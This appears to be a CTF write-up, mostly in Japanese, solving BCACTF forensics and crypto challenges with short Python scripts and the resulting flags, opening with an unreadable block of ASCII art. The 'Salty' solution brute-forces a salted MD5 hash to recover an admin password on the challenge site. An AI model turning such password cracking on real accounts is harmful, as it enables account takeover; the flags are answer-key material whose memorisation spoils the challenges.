## # # ##### ##### #### ##### # # # # # # # # # # ##### # # # # # # # # # # # # # # # ###### ##### #### # ##### ## ## ###### ### ####### # # # # # # # # # # # # # # # # # # # #### #### # # # # # #### # # # ##### ## # # # # ## # # # # # # # # # # # # # # # # # # # # # # # # ## #### # ###### ### ### ## # ## ### # # # # # # ### ## #### ## ## # # # # # # # # # # # # # ### ##### ## ######## ### ### # ## ### #### # # ## # # # # # # ## ## # # # # # # ## # ###### ## ## # ##### # # # # # # # ## # # # # # # # ## # # # # # ### # # ##### # ## # # # # # # # # # # # # # # # # # ### ### ### ### # ##### ### ### #### # ######## ### ######## ##### ## # #### # # # # # # # # # #### ### ### # #### #### # # # # # # # # # # # # # # # # # # # # # # # # # # # ### ### # # #### # ### ## ### ###### ## # # # # # # # # # # # # #### # # # # # # #### ##### # # # # ## # # # # # # # # #### ## #### # # ##
bcac tf{B3Tt 3r_t H4N_pnG_ 56jvC f9P}
bcactf{B3Tt3r_tH4N_pnG_56jvCf9P}
Gerbert's Secret (foren 150)
$ zsteg zgerberts.png b1,g,lsb,xy .. text: "4u%)3XSS" b1,rgb,lsb,xy .. text: "#bcactf{g3rb3rt_w4s_4_bu11fr0g_2139}V75" b1,bgr,msb,xy .. text: "8n8q}ReK" b1,abgr,msb,xy .. text: "u?Uu]y5W3u" b4,r,lsb,xy .. text: "C4f3D35fUxC$x" b4,g,lsb,xy .. text: "1!2B3SVc%T56" b4,b,lsb,xy .. text: "t$a$UcvG" b4,rgb,msb,xy .. text: "55W5V#sVcQV" b4,bgr,msb,xy .. text: "5U76%SvcSV" b4,rgba,lsb,xy .. text: "vOy/zOmo9" b4,abgr,msb,xy .. text: "_S_7oS/So7oSo"
bcactf{g3rb3rt_w4s_4_bu11fr0g_2139}
Zoinked Zip 1 (foren 150)
zipファイルが壊れているので、先頭4バイトを50 4b 03 04に修正する。zipを解凍すると、flag.txtが展開される。このファイルを見ると、ファイルが書いてあった。
bcactf{w0w_h34d3r5_4r3_r3411y_1mp0rt4nt}
New Keyboard (crypto 50)
https://awsm-tools.com/text/keyboard-layoutを使って、DvorakからQwertyに変換する。
It turns out this keyboard uses the Dvorak layout! It really messes up my muscle memory. The flag is bcactf{k3yb0ard_lay0u7_chang3up_qwerty}
bcactf{k3yb0ard_lay0u7_chang3up_qwerty}
Hidden Frequencies (crypto 100)
同じ文字がいくつか続いた後また別の文字がいくつか続くということが繰り返されている。同じ文字の文字数がASCIIコードになっていると推測し、文字にする。
#!/usr/bin/env python3 with open('msg.txt', 'r') as f: data = f.read() flag = '' cur = 'a' count = 0 for d in data: if d != cur: flag += chr(count) cur = d count = 1 else: count += 1 flag += chr(count) print(flag)
bcactf{ch4r4ct3r_fr3qu3ncy_15_50_c00l_55aFejnb}
Really Secure Algorithm (crypto 100)
p, qの値がわかっているので、通常通り復号する。ただし、復号した値はそのまま文字列化してもフラグにはならない。数値文字列を適度に切り、ASCIIコードとしてデコードする。
#!/usr/bin/env python3 from Crypto.Util.number import * with open('file.txt', 'r') as f: params = f.read().splitlines() c = int(params[0].split('=')[1]) p = int(params[1].split('=')[1]) q = int(params[2].split('=')[1]) e = int(params[3].split('=')[1]) phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, p * q) m = str(m) flag = '' code = '' for i in range(len(m)): code += m[i] if int(code) > 31 and int(code) < 127: flag += chr(int(code)) code = '' print(flag)
bcactf{w311_th15_15_aWkWard_Fbahu8d3}
Chessy (crypto 125)
FENについて調べると、チェスの駒の位置を表していることがわかる。1行が一つの盤面で、"/"区切りで盤面の上から配置を表していて、数字が何も置かれていないマスの数を表している。何か置かれているマスを1、何も置かれていないマスを0として、盤面の下から上にデコードしていく。
#!/usr/bin/env python3 from string import * def code_to_bin(s): b = '' for c in s: if c in digits: b += '0' * int(c) else: b += '1' return b with open('FEN.txt', 'r') as f: params = f.read().splitlines() flag = '' for i in range(len(params)): for raw in params[i].split('/')[::-1]: b = code_to_bin(raw) flag += chr(int(b, 2)) print(flag)
bcactf{3n_pa5sen7_ch3ckm4t3_92aj32lm9ui}
Funky Factors (crypto 150)
nを素因数分解する。
$ python -m primefac 2451500972944572751067639135542724911455699735389455909239072706748572836232480252074031400797211301593443375562946962694274273077543664039604383719893091628336430360455909687693258270869995548362038438414271398400407702884883827901471304659858249570873108083356722001678236438255333957918061509916855914316124827985975637 2451500972944572751067639135542724911455699735389455909239072706748572836232480252074031400797211301593443375562946962694274273077543664039604383719893091628336430360455909687693258270869995548362038438414271398400407702884883827901471304659858249570873108083356722001678236438255333957918061509916855914316124827985975637: 25854458289211 94819274320962195588391046032702062340347787753861707917333803643013756112498232723436129143357983211782575094016538160601055922810359418391115604418400747711916131212069247930840360588635198701990348690076607422776450913659984003956055504691820691172367804759436721489067099363705442358971393631085988763567
素因数分解できたので、通常通り復号する。ただし、復号した値はそのまま文字列化してもフラグにはならない。数値文字列を適度に切り、ASCIIコードとしてデコードする。
#!/usr/bin/env python3 from Crypto.Util.number import * with open('file.txt', 'r') as f: params = f.read().splitlines() n = int(params[0].split('=')[1]) e = int(params[1].split('=')[1]) c = int(params[2].split('=')[1]) p = 25854458289211 q = 94819274320962195588391046032702062340347787753861707917333803643013756112498232723436129143357983211782575094016538160601055922810359418391115604418400747711916131212069247930840360588635198701990348690076607422776450913659984003956055504691820691172367804759436721489067099363705442358971393631085988763567 assert n == p * q phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, n) m = str(m) flag = '' code = '' for i in range(len(m)): code += m[i] if int(code) > 31 and int(code) < 127: flag += chr(int(code)) code = '' print(flag)
bcactf{w0w_f4ct0r1ng_l3g3nd_hAUebf29}
Salty (crypto 150)
hoge / hogeでアカウントを作成すると、Debugテーブルには以下のように表示される。
Password Hash:95139197ccc36a4dfafc5ac7d92f80ee Salt:KCl-e5833
>>> hashlib.md5(b'hogeKCl-e5833').hexdigest() '95139197ccc36a4dfafc5ac7d92f80ee'
パスワード+ソルトでハッシュ値を出している。adminのパスワードは英小文字+数字の4桁で以下のことがわかっている。
Password Hash:d54b5632cd3f90c9e911742e46a4ce2d Salt:NaCl-2d42e
以上からブルートフォースでadminのパスワードを求める。
#!/usr/bin/env python3 import hashlib import string import itertools chars = string.digits + string.ascii_lowercase salt = b'NaCl-2d42e' pwd_h = 'd54b5632cd3f90c9e911742e46a4ce2d' for c in itertools.product(chars, repeat=4): pwd = ''.join(c) if hashlib.md5(pwd.encode() + salt).hexdigest() == pwd_h: print(pwd) break
実行結果は以下の通り。
bca4
admin / bca4でログインすると、フラグが表示された。
bcactf{1_10v3_5a1ty_h@5h_br0wn5_3749}
Survey (misc 25)
アンケートに答えたら、フラグが表示された。
bcactf{s33_y0U_n3xT_y34R_jf4NP9}